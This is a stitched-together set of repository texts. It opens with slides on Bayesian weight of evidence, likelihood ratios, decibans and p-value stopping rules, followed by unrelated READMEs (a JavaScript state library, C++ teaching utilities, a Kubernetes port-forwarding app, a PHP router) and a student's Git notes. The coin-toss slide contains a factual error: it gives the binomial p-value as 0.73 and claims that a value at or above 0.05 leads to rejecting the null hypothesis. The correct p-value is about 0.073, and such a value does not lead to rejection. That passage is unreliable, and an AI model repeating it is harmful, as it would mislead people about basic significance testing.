The probability that a test gives a true positive divided by the probability that a test gives a false positive is known as the likelihood ratio of that test:
$$
\frac{p(E | H)}{p(E | H^c)}
$$

---

#Bayes' Theorem V2

$$
\frac{p(H)}{p(H^c)} * \frac{p(E | H)}{p(E | H^c)} = \frac{p(H | E)}{p(H^c | E)}
$$

---

The likelihood ratio $p(E | H) / p(E | H^c)$, determines how much observing $E$ slides the probability for $H$, i.e. the strength of $E$ as evidence for $H$.
$$
$$
To borrow Alfred Korzybski’s famous [map/territory metaphor](https://en.wikipedia.org/wiki/Map%E2%80%93territory_relation), evidence is what connects the “map” (your hypothesis $H$) with the “territory” in the real world (the evidence $E$).

---

The likelihood ratio tells us everything there is to know about the meaning of a positive result.  But it doesn't tell us the meaning of a negative result, and it doesn't tell us how often the test is useful.
$$
$$
For example, a mammography with a hit rate of 80% for patients with breast cancer and a false positive rate of 9.6% for healthy patients has the same likelihood ratio as a test with an 8% hit rate and a false positive rate of 0.96%.  Although these two tests have the same likelihood ratio, the first test is more useful in every way - it detects disease more often, and a negative result is stronger evidence of health.

---

It is axiomatic that beliefs by themselves do not cause events to occur (i.e. the territory should effect the map, not vice-versa).
$$
$$
If you fill your car’s tank with fuel, the fuel gauge will read full. If you look at the gauge, you can observe that the needle is in the “full” position and you can form a reliable belief that the tank is full.
$$
$$
What you can’t do is cause the tank to become full by simply believing it to be full. This would be like gluing the fuel gauge’s needle in the “full” position and then expecting never to run out of gas.

---

#[p-values considered harmful](http://www.nature.com/news/scientific-method-statistical-errors-1.14700)

However in the frequentist methodology, changes in a model do effect outcomes even when the observed data don't change.

---

#Example: Coin tosses

Suppose I toss a coin $n = 12$ times and observe $h = 9$ heads. If $n$ is fixed and $h$ is random then the relevant model is binomial:

$$
Bin(h | n, p) = {n \choose h} p^h (1-p)^{n-h}
$$

---

Suppose moreover that you are a good frequentist and that your null hypothesis $H_0$ is that the coin is fair (i.e. $p=0.5$). The one-sided p-value is:
$$
P(h \geq 9 | H_0) = \sum_{h=9}^{12} Bin(h | n, p) = \sum_{h=9}^{12}  {n \choose h} 0.5^12 = 0.73 \geq 0.05
$$

which would lead you to reject your null hypothesis that the coin is fair.

---

Now suppose that I told you I had kept tossing the coin until I observed $t = 3$ tails. In this case $t$ is fixed and $n$ and $h$ are random. The relevant model is now negative binomial:
$$
NegBin(h | t, p) = {h +t -1 \choose t-1} p^h (1-p)^t
$$

---

Using the same null hypothesis we now get a p value of:
$$
P(h \geq 9 | H_0) = \sum_{h =9}^\infty {h + 3 -1 \choose 2} 0.5^h 0.5^3 = 0.0327
$$
indicating significant bias in the coin.
$$
$$
This violates our axiom regarding beliefs. The data are the same, so our inferences about the coin should be the same as well.

---

These sorts of stopping rule effects lead frequentists to prolong experiments, even when the conclusions are obvious, lest it adversely effect their statistical analyses.
$$
$$
As a result many organizations, especially ones tasked with making timed decisions under uncertainty, use Bayesian methods.
$$
$$
For example, in the past 10 years the US FDA has [become](http://www.fda.gov/RegulatoryInformation/Guidances/ucm071072.htm
) [increasingly](http://www.nature.com/nrd/journal/v5/n1/full/nrd1927.html) [supportive](https://www.ivtnetwork.com/sites/default/files/FDA%20Bayesian%20Statistics%20Guidance%20for%20Medical%20Device%20Clinical%20Trials.pdf) of Bayesian methods.

---

#Banburismus

This organizational approach originated at Bletchley Park during the Second World War with the [Banburismus](https://en.wikipedia.org/wiki/Banburismus).
$$
$$
[I.J. Good](https://en.wikipedia.org/wiki/I._J._Good) and Alan Turing were the first to suggest that credibility and evidence should be measured in log-odds, or [bans](https://en.wikipedia.org/wiki/Ban_(unit)).
$$
$$
The ban is essentially the same measure as a bit ($1$ ban $= \log_2(10)$ bits), though the ban predated Shannon's bit by about eight years.

---

#Decibels?

Bans are a decibel measure of the weight of evidence in favour of a hypothesis:
$$
\log_{10}(\frac{p(E | H)}{p(E | H^c)})
$$

[Decibels](https://en.wikipedia.org/wiki/Decibel) are widely used in engineering for measuring exponential differences of intensity.
$$
$$
Thus, the ratio of $P$ (measured quantity) to $P_0$ (context-dependent baseline reference quantity) expressed my a decibel quanity $L_P$:

$$
L_P= 10\log_{10}(\frac{P}{P_0})
$$

---

For example, if the sound from an automobile horn carries 10,000 times as much energy (per square meter per second) as the sound from an alarm clock, the automobile horn would be 40 decibels louder.

The sound of a bird singing might carry 1,000 times less energy than an alarm clock, and hence would be 30 decibels softer.

---

![](img/log-odds.png)

---

Chances of…

Probability

Odds

Log-odds

(in decibans)

A ticket winning the

Grand Prize in the

Powerball Lottery[4]

0.000000571%

1 : 175,223,510

-82.44

Being dealt a

royal flush in poker

0.00015%

1 : 649,739

-58.1

Rolling a twelve

with two 6-sided dice

2.78%

1 : 35

-15.4

A fair coin landing

on heads

50.0%

1 : 1

0

At least one head

in ten coin flips

99.9%

1023 : 1

30.1

At least one birthday

shared in a group of

100 random people

99.99997%

3,254,689 : 1

65.1

Surviving 1km of travel

on Canadian roads[5]

99.99999934%

151,515,151 : 1

81.8

---

Suppose we start with a prior probability of 1% that a woman has breast cancer, corresponding to an odds ratio of 1:99.  And then we administer three tests of likelihood ratios 25:3, 18:1, and 7:2.

\begin{align}
10 & \log_{10}(1/99) = -20
\newline
10 &\log_{10}(25/3) = 9
\newline
10 &\log_{10}(18/1) = 13
\newline
10 &\log_{10}(7/2)  = 5
\newline
\end{align}

---

It starts out as fairly unlikely that a woman has breast cancer - our credibility level is at -20 decibans.

Then three test results come in, corresponding to 9, 13, and 5 decibans of evidence.

This raises the credibility level by a total of 27 decibans, meaning that the prior credibility of -20 decibans goes to a posterior credibility of 7 decibans.

So the odds go from 1:99 to 5:1, and the probability goes from 1% to around 83%.

---

#Challenge Question

Suppose we are trying to discriminate between an unbiased die and a loaded one that gives $6$ one third of the time.
$$
$$
How many decibans of evidence does the sequence $\\{6,4,6,6,2,6,5,6,5,6,6,6\\}$ provide in favor of the biased hypothesis? What are the posterior odds of the die being fair?

 In that case the evidence in decibans is

$$
10 \log_{10}(\frac{p(E | H)}{p(E | H^c)}) = 10 \log_{10}(\frac{1/3}{1/6}) = 3.01
$$
when $E$ is the event that the die rolls a $6$, and
$$
10 \log_{10}(\frac{p(E | H)}{p(E | H^c)}) = 10 \log_{10}(\frac{2/3}{5/6}) = -0.97
$$
otherwise. So the sequence provides $20.2$ decibans of evidence for the biased die hypothesis. The posterior odds are $2^8 \cdot (0.8)^4: 1 = 105:1 $ against the die being fair.

---

#Falsification

In the graph above it’s worth noticing that we never actually get to 100% certainty though, no matter how much strong evidence we observe.
$$
$$
Thinking in terms of log-odds reminds us that all ideas in science are tentative to some degree, and could have to be revised in light of strong enough opposing evidence.

---

If $p(E|H) \sim 1$ (i.e. the hypothesis makes a definitive prediction) - then observing $E^c$ very strongly falsifies $H$.
$$
$$
However if $p(E|H) \sim 1$,  and we observe $E$, this doesn't definitely confirm the hypothesis; there might be some other condition $G$ such that $p(E|G) \sim 1$, in which case observing $E$ doesn't favor $H$ over $G$.

---

For observing $E$ to definitely confirm $H$, we would have to know, not that $p(E|H) \sim 1$, but that $p(E|H^c) \sim 0$, which requires ranging over all possible alternative explanations.
$$
$$
In other words hypotheses can be definitely falsified, but never definitely confirmed.
$$
$$
This is sometimes referred to as the [black swan fallacy](https://en.wikipedia.org/wiki/Falsifiability).

---

Assume that some piece of evidence $F$ is highly unlikely under hypothesis $H$, then $p(F|H)$ is infinitesimal and the likelihood ratio will also be infinitesimal.
$$
$$
For example, if $p(F|H) = 0.000001$, and $p(F|H^c) = 0.01$, then the likelihood ratio $p(F|H)/p(F|H^c)$ will be 1:10000.
$$
$$
This amounts to $-40$ decibels of evidence, meaning that observing $F$ greatly favors $H^c$ over $H$.

---

#Challenge Question

In the die example above, show that the expectation of evidence in decibans $\mathit{E}(10 \log_{10}(\frac{p(E | H)}{p(E | H^c)})) $ is less than zero when the die is in fact unbiased.

---

---

When the die is fair, there is a probability of $1/6$ that the factor will be $1/3 / 1/6 = 2$ and a probability of $5/6$ that the factor will be $4/5$. Hence
\begin{align}
\mathit{E}\left[10 \log_{10}(\frac{p(E | H)}{p(E | H^c)})\right] &\leq  10 \log_{10}(\mathit{E}\left[\frac{p(E | H)}{p(E | H^c)}\right])
\newline
&= 10 \log_{10}( \frac{1}{6} * 2 + \frac{5}{6} * \frac{4}{5} )
\newline
&= 10 \log_{10}( 1)
\newline
&= 0
\end{align}
by Jensen's inequality.

---

The [receiver operating characteristic](https://en.wikipedia.org/wiki/Receiver_operating_characteristic), or ROC curve, for a classifier coming from a hypothesis $H$ is a plot of $p(E | H_t)$ vs $p(E | H^c_t)$ parametrized over various settings of a threshold $t$.
$$
$$
The ROC curve was also first used during World War II for the analysis of radar signals before it was employed in signal detection theory.[29]

---

repository: cmk/weight-of-evidence

repo_name: cmk/weight-of-evidence


text:
# State

Beedle's state tree is a single object that can contain whatever data you want. It's _guarded_ by a [Proxy](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy) which keeps an eye on things for you and tells Beedle if something has been modified.

## Example object

```javascript
const state = {
    title: 'A title',
    items: [
        {
            title: 'Item 1',
            url: '/'
        }
    ]
};
```

## Getting an item

Presuming you've instatiated Beedle like the [getting started](/#getting-started) example, you can access state in a couple of ways.

### Example

Here's a basic example of getting the title from state once the `storeInstance` has been created.

```javascript
// An initialised store. Params redacted for brevity
const storeInstance = new Store({
    ...
});

// Log the title of the above state example
console.log(storeInstance.state.title);
```

You can also use a [destructuring assignment](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment) to clean things up a bit

```javascript
// Get the state only
const { state } = storeInstance;

console.log(state.title);
```

## Modifying state

To modify state, it's best to dispatch an [action](/guide/actions.html). Head over there to carry on.

[Move to Actions guide >](/guide/actions.html).

repository: jackoliver/beedle

repo_name: jackoliver/beedle


text:
# C++ Utils

Libraries for student C++ code available under the MIT license.

## Graphics: Image library

``graphics/image.h`` can be used to create, view, load and save images. Example:

![example fractal tree](graphics/test/example_fractal_tree.png)

``graphics/image_event.h`` allows for interactive graphical programs with animation and mouse event handling.

### Usage

Learn more about how to use the C++ Utils graphics class in this [interactive tutorial](https://lab.cs50.io/ILXL-guides/intro-to-graphics).

## Karel the Robot in C++

Karel the Robot is a gentle introductory programming language created by [Professor Richard Pattis](https://www.ics.uci.edu/~pattis/) in [*Karel the Robot: A Gentle Introduction to The Art of Programming*](https://www.google.com/books/edition/_/ghcZAQAAIAAJ?hl=en&gbpv=1) and implemented in C++ here with his permission. The Karel language emphasizes logic while hiding tricky syntax, allowing anyone to begin making exciting graphical programs with very little background.

![karel the robot screenshot](karel/src/test/karel.png)

Karel lives in a two-dimensional grid and has a position and an orientation (north, east, south or west). Each cell of the grid may contain one or more beepers, or no beepers at all. Karel has a bag of beepers (which may be empty). Cells may be separated by walls.

Karel has four actions: they can move forward, turn left, put down a beeper or pick up a beeper. In addition, Karel is able to check state of the area around themselves. Karel cannot move through walls or off the edge of the world.

### Accessibility

Karel programs may export the world to CSV after each action. This may be helpful to screen-reader users.

Karel programs may prompt before each robot action. This may be helpful for users who need to control the speed of execution.

### Usage

To create Karel the Robot programs in C++, include ``karel/karel.h``.

Learn more about how to use the C++ Utils Karel the Robot functions in this [interactive tutorial](https://lab.cs50.io/ILXL-guides/intro-to-karel)

## For developers and instructors

Read more about developing and including C++ Utils and unittesting assignments in the [wiki](https://github.com/ILXL/cpputils/wiki).

repository: ILXL/cpputils

repo_name: ILXL/cpputils


text:
 Kube Forwarder

Easy to use Kubernetes port forwarding manager

  Visit a Website ·
  Download for macOS ·
  Download for Windows ·
  Download for Linux
  ·
  Install with Homebrew

![Clusters Page](https://user-images.githubusercontent.com/2697570/60103100-524d5d80-975f-11e9-84ab-bcc962be0bb7.png)

## Features

**Auto-reconnect**

Kube Forwarder watches for connection status and always tries reconnect on failure

**Multiple clusters support**

Bookmark and forward Kubernetes services from multiple clusters easily like never before

**Share bookmarks**

Use import and export functionality to share bookmarked services with your team or simply backup it

**Zero native dependencies**

Use port-forwarding without installing kubectl and avoid explanations to developers on how to use it

## Optional dependencies

* [Google Cloud SDK](https://cloud.google.com/sdk/)
* [AWS CLI](https://docs.aws.amazon.com/cli/)

## Functionality walk-through

### Add a cluster(s)

Before you start forwarding interal resources to your local machine, you have to add cluster configuration. To do this we have 3 different options in the app:

- Auto-detection of ~/.kube/config file and parsing settings from it
- Manual adding of Kubernetes config
- Import of the JSON file that could be generated via Kube Forwarder export functionality

When you add a new cluster via auto-detection or manually, we could parse config and if there are multiple contexts inside we will suggest you to add multiple clusters to the app. Few examples of yaml files we expect to have you could find [there](https://github.com/pixel-point/kube-forwarder/issues/7)

### Add a resource

Kube Forwarder supports forwarding of all types of resources that supported by `kubectl` – Pod, Deployment, Service.

We ask you to fill the form with the following fields:

**Cluster Name** - pick a cluster from one of the added clusters.

**Namespace** - the namespace of the resource you plan to forward.

**Kind** – pick one of the options Pod, Deployment or Service.

**Name** - name of the Pod, Deployment or Service.

**Alias** - alternative name of the resource that will be displayed on the homepage(optional)

**Port Forwarding** - Fill two fields. Local port - port from your local machine where the resource will be forwarded. Resource port - port of the resource from the Kubernetes cluster

### Import/Export

Kube Forwarder allows you export cluster configuration in JSON that you could use to share with your team members or for the backup purpose. You could easily store it on Github. When you export cluster, you could export it with or without confidential information.

### Install with Homebrew

```
brew cask install kube-forwarder
```

## Contributing

We encourage you to contribute to Kube Forwarder!

We expect contributors to abide by our underlying [code of conduct](./.github/CODE_OF_CONDUCT.md).
All conversations and discussions on GitHub (issues, pull requests)
must be respectful and harassment-free.

This project was generated with [electron-vue](https://github.com/SimulatedGREG/electron-vue)@[8fae476](https://github.com/SimulatedGREG/electron-vue/tree/8fae4763e9d225d3691b627e83b9e09b56f6c935) using [vue-cli](https://github.com/vuejs/vue-cli). Documentation about the original structure can be found [here](https://simulatedgreg.gitbooks.io/electron-vue/content/index.html).

### How to contribute

1.  Fork the project & clone locally. Follow the initial setup [here](#getting-started).
2.  Create a branch, naming it either a feature or bug: `git checkout -b feature/that-new-feature` or `bug/fixing-that-bug`
3.     Push to the branch: `git push origin feature/that-new-feature`
5.  Create a pull request for your branch 🎉

## Getting started

### Prerequisites

* Node 10.8+
* MacOS (if you want to build `.dmg` target)
* Docker (if you want to run tests)
* ImageMagick (to build app icon)

### Installing

Fork Kube Forwarder repository (https://github.com/pixel-point/kube-forwarder/fork)

```
# Clone source code
git clone https://github.com/<your-username>/kube-forwarder

# install dependencies
npm install

# prepare .env files
cp .env.example .env
cp .env.example .env.production

# serve with hot reload in Electron Dev app
npm run dev

# serve WEB version with hot reload at localhost:9081
npm run web
```

### Build

Build an application for production
```
# Build a target for current OS
npm run build

# Build a target for Windows
npm run build -- -- --win

# Build a target for Linux
npm run build -- -- --linux

# You can mix targets
npm run build -- -- --win --linux

# You can build static and target separately
npm run build:dist
npm run build:target -- --win
```

A built version will be appear in `build` directory.

## Running the tests

We are using [Cypress](https://www.cypress.io) to run integration tests.
There are visual regression tests. It's important to run them inside docker
container to get same screenshots as in Drone CI.

```
npm run test:cypress
```

Or you can run it manually on a local machine.
```
# Run the web version to test it
npm run web

# Run this command in a separate terminal tab
npm run test:cypress:onhost

# Or you can open Cypress GUI
npm run test:cypress:open
```

## Release guide

1) Be sure that you created `.env.production` and filled it in the right way.
2) Update the version in `package.json`.
3) Push to `release` branch. [Drone(pixel-point/kube-forwarder)](https://drone.pixelpoint.io/pixel-point/kube-forwarder/)
will build packages for Windows and Linux and upload them to [releases](https://github.com/pixel-point/kube-forwarder/releases)
4) Run `npm run release` on a Mac computer to build `.dmg` target.
It will be automatically pushed to releases at Github.
5) Go to [Releases](https://github.com/pixel-point/kube-forwarder/releases) in the repository.
Make sure that the created draft is OK and release it (Edit -> Release).

Notes:
1) `.dmg` target is added to release by your mac computer.
`.AppImage` and `.exe` have to be added to the release by drone CI.
2) A release tag (for example: `v1.0.3`) will be added automatically
by Github when you release your draft.

## Development tips

Use `tiffutil -cathidpicheck bg.png<EMAIL_ADDRESS>-out bg.tiff` to build a tiff
background for .DMG

## Supported by

## License

This project is licensed under the MIT License - see the LICENSE.md file for details

repository: zimgodo/kube-forwarder

repo_name: zimgodo/kube-forwarder


text:
# Routes invoker

[![Build Status](https://img.shields.io/travis/weew/router-routes-invoker-container-aware.svg)](https://travis-ci.org/weew/router-routes-invoker-container-aware)
[![Code Quality](https://img.shields.io/scrutinizer/g/weew/router-routes-invoker-container-aware.svg)](https://scrutinizer-ci.com/g/weew/router-routes-invoker-container-aware)
[![Test Coverage](https://img.shields.io/coveralls/weew/router-routes-invoker-container-aware.svg)](https://coveralls.io/github/weew/router-routes-invoker-container-aware)
[![Version](https://img.shields.io/packagist/v/weew/router-routes-invoker-container-aware.svg)](https://packagist.org/packages/weew/router-routes-invoker-container-aware)
[![Licence](https://img.shields.io/packagist/l/weew/router-routes-invoker-container-aware.svg)](https://packagist.org/packages/weew/router-routes-invoker-container-aware)

## Table of contents

- [Installation](#installation)
- [Introduction](#introduction)
- [Usage](#usage)

## Installation

`composer require weew/router-routes-invoker-container-aware`

## Introduction

This package is meant to be used in combination with [weew/router](https://github.com/weew/router). It's job is to invoke routes that have been successfully matched by the router. It uses the [weew/container](https://github.com/weew/container) package to provide dependency injection.

## Usage

Lets say you have successfully matched a route:

```php
$route = $router->match(HttpRequestMethod::GET, new Url('foo-bar'));
```

Now you have to invoke the matched route:

```php
$routesInvoker = new RoutesInvoker(new Container());
$response = $routesInvoker->invoke($route);
$response->send();
```

If response object implements either the `IHttpResponseHolder` or `IHttpResponseable` interface, invoker will extract the http response and return it instead.

Router returns `null` whenever a route could not be matched. In this case, `RoutesInvoker` will return a 404 `HttpResponse` object instead.


text:
# Setting up Git and Collaboration with git

The third part of this assignment will differentiate the difference between forking and cloning, while providing examples. To elaborate, the assignment shifts to explaining a pull request and then to explain how to add a collaborator to a GitHub repository.

* Forking vs cloning
* Pull request
* Adding a collaborator to a Github Repo.

----

## Forking vs Cloning

Cloning is done using Git, while Forking is done in the Github Account. Forking a repository is explained as creating a copy of the repository. An example of this would be when we submit an assignment document on Canvas to our professor - the document on our storage drive is not changed although the document is now shared with another user. When the other user makes changes, it will not affect the original document. On the other hand, cloning a repository, the repository remains in the initial machine using Git. An example of this would be best described as the way a shared Google Document works - where the content of a document can be changed by either user and both users will see the changes.

## Pull Request
This refers to the forked repository that is merged with the original repository. The purpose of this request is to merge the changes of the repository.

## Adding a collaborator to a Github Repo.
Make note of the username of the collaborator then navigate to your Settings, which is under your repository project name. Under Collaborators, enter the username and select the it from the drop down menu, then click add collaborator.